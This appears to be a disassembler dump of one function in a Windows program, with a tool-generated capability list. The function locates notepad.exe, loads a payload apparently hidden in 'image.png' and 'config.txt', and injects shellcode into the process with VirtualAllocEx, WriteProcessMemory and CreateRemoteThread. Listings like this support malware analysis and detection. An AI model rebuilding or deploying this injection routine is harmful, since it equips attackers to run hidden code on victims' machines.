Function at 0x140002f20
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x3f8]
sub rsp, 0x4e0
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x140081080]
xor rax, rsp
mov qword [rbp + 0x3c0], rax
xor r14d, r14d
mov edi, r14d
xor edx, edx
mov esi, 2
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400034fd
mov dword [rbp + 0x180], 0x238
lea rdx, [rbp + 0x180]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140002fd3
nop word [rax + rax]
lea rdx, str.notepad.exe
lea rcx, [rbp + 0x1ac]
call fcn.140015fb0
test eax, eax
je 0x140002fcd
lea rdx, [rbp + 0x180]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140002fa0
jmp 0x140002fd3
mov edi, dword [rbp + 0x188]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1400034fd
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x140003008
lea rdx, str.Could_not_open_the_target_process.
jmp 0x140003504
mov qword [rbp + 0x40], r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x58], xmm1
mov r8d, 9
lea rdx, str.image.png
lea rcx, [rbp + 0x40]
call fcn.140005d70
nop
mov qword [rbp - 0x48], r14
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
mov r8d, 0xa
lea rdx, str.config.txt
lea rcx, [rbp - 0x48]
call fcn.140005d70
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.1400027f0
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x70]
call fcn.140060ce0
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rdx, qword [rbp - 0x40]
lea rcx, [rbp + 0x70]
call fcn.140004e70
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x70], r15
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x6c], edx
mov qword [rsp + 0x40], r14
mov word [rsp + 0x48], 1
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx + 0xb8]
mov qword [rbp - 0x80], rcx
test rcx, rcx
sete byte [rbp - 0x78]
mov byte [rbp - 0x77], 0
mov qword [rbp - 0x70], r14
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm6, xmmword [rsp + 0x40]
test rcx, rcx
je 0x14000315a
mov rax, qword [rcx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x14000312d
mov rax, qword [rcx + 0x50]
cmp dword [rax], 0
jle 0x14000312d
movzx eax, byte [rdx]
jmp 0x140003133
mov rax, qword [rcx]
call qword [rax + 0x30]
cmp eax, 0xffffffff
je 0x140003149
mov byte [rbp - 0x77], al
mov rax, qword [rbp - 0x80]
mov byte [rbp - 0x78], 1
movaps xmm0, xmmword [rbp - 0x80]
jmp 0x14000315f
mov rax, r14
mov qword [rbp - 0x80], rax
mov byte [rbp - 0x78], 1
movaps xmm0, xmmword [rbp - 0x80]
jmp 0x14000315f
movq rax, xmm0
test rax, rax
movq rax, xmm6
jne 0x1400031e7
test rax, rax
je 0x1400031ec
movdqa xmmword [rsp + 0x40], xmm6
movdqa xmmword [rbp - 0x80], xmm0
lea r8, [rsp + 0x40]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x70]
call fcn.140006af0
nop
lea rcx, [rbp + 0x80]
call fcn.140004d70
test rax, rax
jne 0x14000321b
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0xb8], 0
cmovne eax, esi
or eax, dword [rbp + rcx + 0x80]
and eax, 0x17
mov dword [rbp + rcx + 0x80], eax
mov edx, dword [rbp + rcx + 0x84]
and edx, eax
je 0x14000321b
test dl, 4
je 0x14000356d
lea rdi, str.ios_base::badbit_set
jmp 0x140003582
test rax, rax
je 0x14000316e
mov ecx, 0x10
call fcn.1400097d0
mov qword [rax + 8], r14
mov qword [rbp - 0x70], rax
lea rcx, [rbp - 0x70]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x14007bfb0]
movdqu xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x68], 0
jmp 0x14000318c
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
lea rdx, [rbp - 0x70]
lea rcx, [rbp]
call fcn.140002a00
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
mov r8, qword [rbp + 0x28]
lea rdx, [rbp]
lea rcx, [rbp - 0x20]
call fcn.140002b60
nop
mov rbx, qword [rbp - 0x18]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x1400032c9
lea rdx, str.Failed_to_allocate_memory_in_the_target_process.
lea rcx, [0x1400825c0]
call fcn.140005980
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.1400057f0
movzx edx, al
mov rcx, rbx
call fcn.140006770
mov rcx, rbx
call fcn.140006610
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
jmp 0x1400033e9
mov qword [rsp + 0x20], r14
mov r9d, 8
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400032f0
lea rdx, str.Failed_to_write_shellcode_into_the_target_process.
jmp 0x14000331f
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
jne 0x140003377
lea rdx, str.Failed_to_create_remote_thread_in_the_target_process.
lea rcx, [0x1400825c0]
call fcn.140005980
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov rbx, rax
mov dl, 0xa
add rcx, rax
call fcn.1400057f0
movzx edx, al
mov rcx, rbx
call fcn.140006770
mov rcx, rbx
call fcn.140006610
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
jmp 0x1400033e9
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.Shellcode_injected_and_executed_successfully.
lea rcx, [0x140082440]
call fcn.140005980
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.1400057f0
movzx edx, al
mov rcx, rbx
call fcn.140006770
mov rcx, rbx
call fcn.140006610
mov ebx, r14d
lea rcx, [rbp - 0x20]
call fcn.140005320
mov rcx, qword [rbp - 0x20]
mov qword [rbp - 0x20], r14
mov edx, 0x10
call fcn.140006220
nop
lea rcx, [rbp]
call fcn.140005320
mov rcx, qword [rbp]
mov qword [rbp], r14
mov edx, 0x10
call fcn.140006220
nop
lea rcx, [rbp - 0x70]
call fcn.1400053c0
mov rcx, qword [rbp - 0x70]
mov qword [rbp - 0x70], r14
mov edx, 0x10
call fcn.140006220
nop
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x70], r15
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x6c], edx
lea rcx, [rbp + 0x80]
call fcn.140004390
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x70], rax
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x6c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x120], rax
lea rcx, [rbp + 0x120]
call fcn.1400083e0
nop
lea rcx, [rbp + 0x20]
call fcn.140005320
mov rcx, qword [rbp + 0x20]
mov qword [rbp + 0x20], r14
mov edx, 0x10
call fcn.140006220
nop
lea rcx, [rbp - 0x48]
call fcn.1400053c0
mov rcx, qword [rbp - 0x48]
mov qword [rbp - 0x48], r14
mov edx, 0x10
call fcn.140006220
nop
lea rcx, [rbp + 0x40]
call fcn.1400053c0
mov rcx, qword [rbp + 0x40]
mov qword [rbp + 0x40], r14
mov edx, 0x10
call fcn.140006220
mov eax, ebx
jmp 0x14000353c
lea rdx, str.Could_not_find_the_target_process.
lea rcx, [0x1400825c0]
call fcn.140005980
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov rbx, rax
mov dl, 0xa
add rcx, rax
call fcn.1400057f0
movzx edx, al
mov rcx, rbx
call fcn.140006770
mov rcx, rbx
call fcn.140006610
mov eax, 1
mov rcx, qword [rbp + 0x3c0]
xor rcx, rsp
call fcn.140009790
lea r11, [rsp + 0x4e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
test dl, 2
lea rdi, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rdi, rax
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.140001a80
mov r8, rax
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.140002710
lea rdx, [0x14007fe00]
lea rcx, [rsp + 0x50]
call fcn.14000d0a0
int3